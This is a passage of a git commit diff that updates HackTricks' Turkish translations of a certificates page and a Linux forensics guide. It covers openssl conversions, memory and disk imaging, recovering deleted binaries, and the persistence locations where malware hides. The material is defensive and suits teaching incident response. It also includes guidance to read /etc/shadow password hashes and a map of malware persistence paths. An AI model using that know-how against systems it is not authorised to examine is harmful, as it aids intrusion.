Translated ['crypto-and-stego/certificates.md', 'generic-methodologies-a

This commit is contained in:
Translator 2024-05-06 11:16:55 +00:00
parent 898d6ace16
commit 386bb1a72a
33 changed files with 1459 additions and 1430 deletions

View file

@ -2,31 +2,31 @@
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
## Sertifika Nedir
Bir **genel anahtar sertifikası**, birinin genel anahtarı sahibi olduğunu kanıtlamak için kriptografi alanında kullanılan dijital bir kimliktir. Anahtarın ayrıntılarını, sahibin kimliğini (konuyu) ve güvenilir bir otoriteden (veren) dijital imzayı içerir. Yazılım, vereni güvenirse ve imza geçerliyse, anahtar sahibiyle güvenli iletişim mümkündür.
Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CA'lar) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) yöntemidir, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir.
Sertifikalar genellikle [sertifika otoriteleri](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) tarafından [genel anahtar altyapısı](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI) kurulumunda verilir. Başka bir yöntem ise [güven ağı](https://en.wikipedia.org/wiki/Web\_of\_trust) 'dır, burada kullanıcılar doğrudan birbirlerinin anahtarlarını doğrular. Sertifikalar için yaygın format [X.509](https://en.wikipedia.org/wiki/X.509)'dur ve RFC 5280'de belirtildiği gibi belirli ihtiyaçlara uygun olarak uyarlanabilir.
## x509 Ortak Alanlar
@ -38,18 +38,18 @@ x509 sertifikalarında, sertifikanın geçerliliğini ve güvenliğini sağlamak
* **Seri Numarası**, sertifikayı benzersiz bir şekilde tanımlar, genellikle iptal takibi için bir Sertifika Otoritesi'nin (CA) sistemi içinde.
* **Konu** alanı sertifikanın sahibini temsil eder, bu bir makine, bir birey veya bir kuruluş olabilir. Detaylı kimlik bilgilerini içerir:
* **Ortak Ad (CN)**: Sertifika tarafından kapsanan alanlar.
* **Ülke (C)**, **Yer (L)**, **Eyalet veya İl (ST, S veya P)**, **Organizasyon (O)** ve **Organizasyon Birimi (OU)** coğrafi ve organizasyonel detaylar sağlar.
* **Belirgin Ad (DN)** tam konu kimliğini kapsar.
* **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi detaylandırır, CA için Konu ile benzer alt alanları içerir.
* **Geçerlilik Süresi**, **Önce Değil** ve **Sonra Değil** zaman damgaları ile işaretlenir, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olunur.
* **Ülke (C)**, **Yerel (L)**, **Eyalet veya İl (ST, S veya P)**, **Kuruluş (O)** ve **Kuruluş Birimi (OU)** coğrafi ve kurumsal ayrıntılar sağlar.
* **Ayrıcalıklı Ad (DN)** tam konu kimliğini kapsar.
* **Veren**, sertifikayı doğrulayan ve imzalayan kişiyi belirtir, CA için Konu ile benzer alt alanları içerir.
* **Geçerlilik Süresi**, sertifikanın belirli bir tarihten önce veya sonra kullanılmadığından emin olmak için **Not Önce** ve **Not Sonra** zaman damgaları ile işaretlenir.
* Sertifikanın güvenliği için kritik olan **Genel Anahtar** bölümü, genel anahtarın algoritmasını, boyutunu ve diğer teknik detaylarını belirtir.
* **x509v3 uzantıları**, sertifikanın işlevselliğini artırır, **Anahtar Kullanımı**, **Genişletilmiş Anahtar Kullanımı**, **Konu Alternatif Adı** ve sertifikanın uygulamasını ayarlamak için diğer özellikleri belirtir.
#### **Anahtar Kullanımı ve Uzantılar**
* **Anahtar Kullanımı**, genel anahtarın kriptografik uygulamalarını tanımlar, örneğin dijital imza veya anahtar şifreleme.
* **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım alanlarını daha da daraltır, örneğin TLS sunucu kimlik doğrulaması için.
* **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son varlık sertifikası mı olduğunu belirtir.
* **Genişletilmiş Anahtar Kullanımı**, sertifikanın kullanım durumlarını daha da daraltır, örneğin TLS sunucusu kimlik doğrulaması için.
* **Konu Alternatif Adı** ve **Temel Kısıtlama**, sertifika tarafından kapsanan ek ana bilgisayar adlarını ve sertifikanın bir CA mı yoksa son varlık sertifikası mı olduğunu tanımlar.
* **Konu Anahtar Kimliği** ve **Yetki Anahtar Kimliği**, anahtarların benzersizliğini ve izlenebilirliğini sağlar.
* **Yetki Bilgi Erişimi** ve **CRL Dağıtım Noktaları**, sertifikayı veren CA'yı doğrulamak için yollar sağlar ve sertifika iptal durumunu kontrol etmek için yollar sağlar.
* **CT Ön Sertifika SCT'leri**, sertifikaya olan kamu güveni için önemli olan şeffaflık günlüklerini sunar.
@ -80,19 +80,19 @@ print(f"Public Key: {public_key}")
### **Sertifika Şeffaflığı Nedir**
Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılar tarafından görülebilir olduğunu sağlayarak sertifika ile ilgili tehditlerle mücadeleye yardımcı olur. Amaçları şunlardır:
Sertifika Şeffaflığı, SSL sertifikalarının verilmesi ve varlığının alan sahipleri, CA'lar ve kullanıcılar tarafından görülebilir olmasını sağlayarak sertifika ile ilgili tehditlerle mücadeleye yardımcı olur. Amaçları şunlardır:
* CA'ların alan sahibinin bilgisi olmadan bir alan için SSL sertifikaları vermesini engellemek.
* Yanlışlıkla veya kötü niyetle verilen sertifikaları izlemek için açık bir denetim sistemi oluşturmak.
* Kullanıcıları sahte sertifikalara karşı korumak.
#### **Sertifika Günlükleri**
#### **Sertifika Kayıtları**
Sertifika günlükleri, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu günlükler, denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu günlüklere sertifikaları gönderebilir veya doğrulama için sorgulayabilir. Günlük sunucularının kesin sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, İSP'ler veya ilgili herhangi bir varlık tarafından bağımsız olarak yönetilebilir.
Sertifika kayıtları, ağ hizmetleri tarafından tutulan, herkese açık olarak denetlenebilir, yalnızca eklemeye izin veren sertifikaların kayıtlarıdır. Bu kayıtlar denetim amaçları için kriptografik kanıtlar sağlar. Hem verme yetkilileri hem de halk, bu kayıtlara sertifikaları sunabilir veya doğrulama için sorgulayabilir. Kayıt sunucularının kesin sayısı sabit değildir, küresel olarak binin altında olması beklenir. Bu sunucular, CA'lar, ISS'ler veya ilgili herhangi bir varlık tarafından bağımsız olarak yönetilebilir.
#### **Sorgu**
Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin.
Herhangi bir alan için Sertifika Şeffaflığı kayıtlarını keşfetmek için [https://crt.sh/](https://crt.sh) adresini ziyaret edin.
## **Formatlar**
@ -112,7 +112,7 @@ Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için
### **P7B/PKCS#7 Formatı**
* Base64 ASCII'de depolanır, .p7b veya .p7c uzantılarına sahiptir.
* Base64 ASCII ile depolanır, .p7b veya .p7c uzantılarına sahiptir.
* Yalnızca sertifikaları ve zincir sertifikalarını içerir, özel anahtarı hariç tutar.
* Microsoft Windows ve Java Tomcat tarafından desteklenir.
@ -122,7 +122,7 @@ Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için
* Uzantılar: .pfx, .p12.
* Genellikle Windows'ta sertifika içe ve dışa aktarma işlemleri için kullanılır.
### **Format Dönüştürme**
### **Format Dönüşümleri**
**PEM dönüşümleri**, uyumluluk için önemlidir:
@ -130,7 +130,7 @@ Herhangi bir alan için Sertifika Şeffaflığı günlüklerini keşfetmek için
```bash
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
```
* **PEM'den DER'a**
* **PEM'i DER'e dönüştürme**
```bash
openssl x509 -outform der -in certificatename.pem -out certificatename.der
```
@ -152,17 +152,17 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
```
* **PFX to PKCS#8** iki adımdan oluşur:
* **PFX'i PKCS#8'e** dönüştürmek iki adımdan oluşur:
1. PFX'i PEM'e dönüştürün
```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
```
2. PEM'i PKCS8'e dönüştürün
2. PEM formatındaki dosyayı PKCS8 formatına dönüştürün.
```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
```
* **P7B'den PFX'e** dönüştürmek için de iki komut gereklidir:
1. P7B'yi CER'e dönüştürün
1. P7B'yi CER'e dönüştürün.
```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
```
@ -175,10 +175,10 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve kolayca yönetin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
<details>
@ -186,10 +186,10 @@ Bugün Erişim Alın:
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details>

View file

@ -3,21 +3,21 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatikleştirilmiş iş akışları** oluşturun.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)** takip edin.**
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -26,7 +26,7 @@ HackTricks'ı desteklemenin diğer yolları:
### Temel Bilgiler
Öncelikle, **iyi bilinen ikili dosyalar ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevresel değişkenleri değiştirerek bu ikili dosyaları kullanın:
Öncelikle, **iyi bilinen ikili ve kütüphanelere sahip bir USB**'ye sahip olmanız önerilir (sadece ubuntu alabilir ve _/bin_, _/sbin_, _/lib_ ve _/lib64_ klasörlerini kopyalayabilirsiniz), ardından USB'yi bağlayın ve çevresel değişkenleri değiştirerek bu ikilileri kullanın:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
@ -51,11 +51,11 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
```
#### Şüpheli bilgiler
Temel bilgileri elde ederken şu gibi garip şeyleri kontrol etmelisiniz:
Temel bilgileri elde ederken şunlar gibi garip şeyleri kontrol etmelisiniz:
- **Root işlemleri** genellikle düşük PIDS ile çalışır, bu yüzden büyük bir PID'ye sahip bir root işlemi bulursanız şüphelenebilirsiniz
- `/etc/passwd` içinde kabuksuz kullanıcıların **kayıtlı girişlerini** kontrol edin
- `/etc/shadow` içinde kabuksuz kullanıcılar için **şifre hash'lerini** kontrol edin
- `/etc/passwd` içinde kabuğu olmayan kullanıcıların **kayıtlı girişlerini** kontrol edin
- `/etc/shadow` içinde kabuğu olmayan kullanıcılar için **şifre hash'lerini** kontrol edin
### Bellek Dökümü
@ -63,11 +63,11 @@ Temel bilgileri elde ederken şu gibi garip şeyleri kontrol etmelisiniz:
Bunu **derlemek** için, kurban makinenin kullandığı **aynı çekirdeği** kullanmanız gerekmektedir.
{% hint style="info" %}
Kurban makineye **LiME veya başka bir şey kuramayacağınızı** unutmayın, çünkü bu makineye çeşitli değişiklikler yapacaktır
Unutmayın ki kurban makineye **LiME veya başka bir şey kuramazsınız** çünkü bu makinede birçok değişiklik yapacaktır
{% endhint %}
Bu yüzden, Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\
Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayıp kendi makinenize yapıştırabilir ve ardından bunları kullanarak LiME'ı **derleyebilirsiniz**:
Bu yüzden Ubuntu'nun aynı sürümüne sahipseniz `apt-get install lime-forensics-dkms` komutunu kullanabilirsiniz.\
Diğer durumlarda, [**LiME**](https://github.com/504ensicsLabs/LiME)'ı github'dan indirip doğru çekirdek başlıklarıyla derlemeniz gerekmektedir. Kurban makinenin **tam çekirdek başlıklarını elde etmek** için sadece `/lib/modules/<çekirdek sürümü>` dizinini kopyalayarak, ardından bunları kullanarak LiME'ı **derleyebilirsiniz**:
```bash
make -C /lib/modules/<kernel version>/build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
@ -84,12 +84,12 @@ LiME ayrıca, dump'ı **sistemde depolamak yerine ağ üzerinden göndermek** i
#### Kapatma
Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü bazen sistem, şirketin kapatmaya kıyamadığı bir üretim sunucusu olabilir.\
Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk seçenek, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
Öncelikle, **sistemi kapatmanız gerekecek**. Bu her zaman bir seçenek olmayabilir çünkü sistem bazen kapatılamayacak bir üretim sunucusu olabilir.\
Sistemi kapatmanın **2 yolu** vardır, **normal kapatma** ve **"fişi çekme" kapatma**. İlk yöntem, **işlemlerin normal şekilde sonlandırılmasına** ve **dosya sisteminin senkronize edilmesine** izin verecektir, ancak aynı zamanda olası **zararlı yazılımın delilleri yok etmesine** de izin verecektir. "fişi çekme" yaklaşımı, **bazı bilgi kaybı** taşıyabilir (belleğin bir görüntüsünü zaten aldığımız için çok fazla bilgi kaybolmayacak) ve **zararlı yazılımın buna karşı bir şey yapma fırsatı olmayacak**. Bu nedenle, eğer bir **zararlı yazılım olabileceğinden şüpheleniyorsanız**, sadece sistemde **`sync`** **komutunu** çalıştırın ve fişi çekin.
#### Diskten bir görüntü almak
Bilgisayarınızı dava ile ilgili herhangi bir şeye bağlamadan önce, onunla **salt okunur olarak bağlanacağınızdan** ve herhangi bir bilgiyi değiştirmeyeceğinizden emin olmanız önemlidir.
Bilgisayarınızı dava ile ilgili herhangi bir şeye bağlamadan önce, bilginin değiştirilmesini önlemek için **salt okunur olarak bağlanacağınızdan emin olmanız önemlidir**.
```bash
#Create a raw copy of the disk
dd if=<subject device> of=<image file> bs=512
@ -100,7 +100,7 @@ dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/med
```
### Disk Görüntüsü Ön Analizi
Daha fazla veri olmadan bir disk görüntüsü oluşturma.
Daha fazla veri olmadan bir disk görüntüsü oluşturma.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@ -156,36 +156,36 @@ ThisisTheMasterSecret
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve yönetin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Bilinen Kötü Amaçlı Yazılım Ara
## Bilinen Kötü Amaçlı Yazılımları Arayın
### Değiştirilmiş Sistem Dosyaları
Linux, potansiyel sorunlu dosyaları tespit etmek için sistem bileşenlerinin bütünlüğünü sağlama konusunda önemli olan araçlar sunar.
Linux, potansiyel sorunlu dosyaları tespit etmek için kritik sistem bileşenlerinin bütünlüğünü sağlama konusunda araçlar sunar.
* **RedHat tabanlı sistemler**: Kapsamlı bir kontrol için `rpm -Va` kullanın.
* **Debian tabanlı sistemler**: İlk doğrulama için `dpkg --verify` kullanın, ardından `debsums | grep -v "OK$"` ( `apt-get install debsums` ile `debsums`'ı yükledikten sonra) ile herhangi bir sorunu belirlemek için kullanın.
### Kötü Amaçlı Yazılım/Rootkit Tespitçileri
Kötü amaçlı yazılım bulmak için yararlı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun:
Kötü amaçlı yazılımları bulmada faydalı olabilecek araçlar hakkında bilgi edinmek için aşağıdaki sayfayı okuyun:
{% content-ref url="malware-analysis.md" %}
[malware-analysis.md](malware-analysis.md)
{% endcontent-ref %}
## Yüklenen Programları Ara
## Yüklenen Programları Arayın
Debian ve RedHat sistemlerinde yüklenen programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrolle birlikte kullanmayı düşünün.
Debian ve RedHat sistemlerinde yüklenen programları etkili bir şekilde aramak için sistem günlüklerini ve veritabanlarını, yaygın dizinlerde manuel kontrollerle birlikte kullanmayı düşünün.
* Debian için, paket yüklemeleri hakkında ayrıntıları almak için _**`/var/lib/dpkg/status`**_ ve _**`/var/log/dpkg.log`**_ dosyalarını inceleyin, belirli bilgileri filtrelemek için `grep` kullanın.
* RedHat kullanıcıları, yüklü paketleri listelemek için `rpm -qa --root=/mntpath/var/lib/rpm` ile RPM veritabanını sorgulayabilir.
Bu paket yöneticileri dışında veya manuel olarak yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmemiş yürütülebilir dosyaları tanımlamak için aramanızı geliştirin.
Bu paket yöneticileri dışında manuel olarak veya bunların dışında yüklenen yazılımları bulmak için _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_ ve _**`/sbin`**_ gibi dizinleri keşfedin. Dizin listelerini sistem özel komutlarla birleştirerek, bilinen paketlerle ilişkilendirilmemiş yürütülebilir dosyaları belirleyerek tüm yüklenen programları arama sürecinizi geliştirin.
```bash
# Debian package and log details
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
@ -204,12 +204,12 @@ find / -type f -executable | grep <something>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Silinmiş Çalışan İkili Dosyaları Kurtarın
## Silinen Çalışan İkili Dosyaları Kurtarın
/tmp/exec dizininden çalıştırılan ve daha sonra silinen bir işlemi hayal edin. Onu çıkarmak mümkündür
```bash
@ -217,7 +217,7 @@ cd /proc/3746/ #PID with the exec file deleted
head -1 maps #Get address of the file. It was 08048000-08049000
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
```
## Otomatik Başlatma Konumlarını İnceleyin
## Otomatik başlatma konumlarını inceleyin
### Zamanlanmış Görevler
```bash
@ -237,14 +237,14 @@ ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Libra
Bir kötü amaçlı yazılımın hizmet olarak kurulabileceği yollar:
- **/etc/inittab**: rc.sysinit gibi başlatma betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir.
- **/etc/inittab**: rc.sysinit gibi başlangıç betiklerini çağırır, daha sonra başlangıç betiklerine yönlendirir.
- **/etc/rc.d/** ve **/etc/rc.boot/**: Hizmet başlatma betiklerini içerir, ikincisi eski Linux sürümlerinde bulunur.
- **/etc/init.d/**: Debian gibi belirli Linux sürümlerinde başlangıç betiklerini depolamak için kullanılır.
- Hizmetler ayrıca **/etc/inetd.conf** veya **/etc/xinetd/** üzerinden etkinleştirilebilir, Linux varyantına bağlı olarak değişir.
- **/etc/systemd/system**: Sistem ve hizmet yöneticisi betikleri için bir dizin.
- **/etc/systemd/system/multi-user.target.wants/**: Çoklu kullanıcı çalışma düzeyinde başlatılması gereken hizmetlere bağlantıları içerir.
- **/usr/local/etc/rc.d/**: Özel veya üçüncü taraf hizmetleri için.
- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı odaklı kötü amaçlı yazılımların gizlenme noktası olabilir.
- **\~/.config/autostart/**: Kullanıcıya özgü otomatik başlatma uygulamaları için, kullanıcı odaklı kötü amaçlı yazılımların gizlenmesi için bir saklanma noktası olabilir.
- **/lib/systemd/system/**: Kurulu paketler tarafından sağlanan sistem genelinde varsayılan birim dosyaları.
### Çekirdek Modülleri
@ -257,13 +257,13 @@ Kötü amaçlı yazılımlar tarafından kök kiti bileşeni olarak sıkça kull
### Diğer Otomatik Başlatma Konumları
Linux, kullanıcı oturum açılışında otomatik olarak programları çalıştırmak için çeşitli dosyalar kullanır ve potansiyel olarak kötü amaçlı yazılımları barındırabilir:
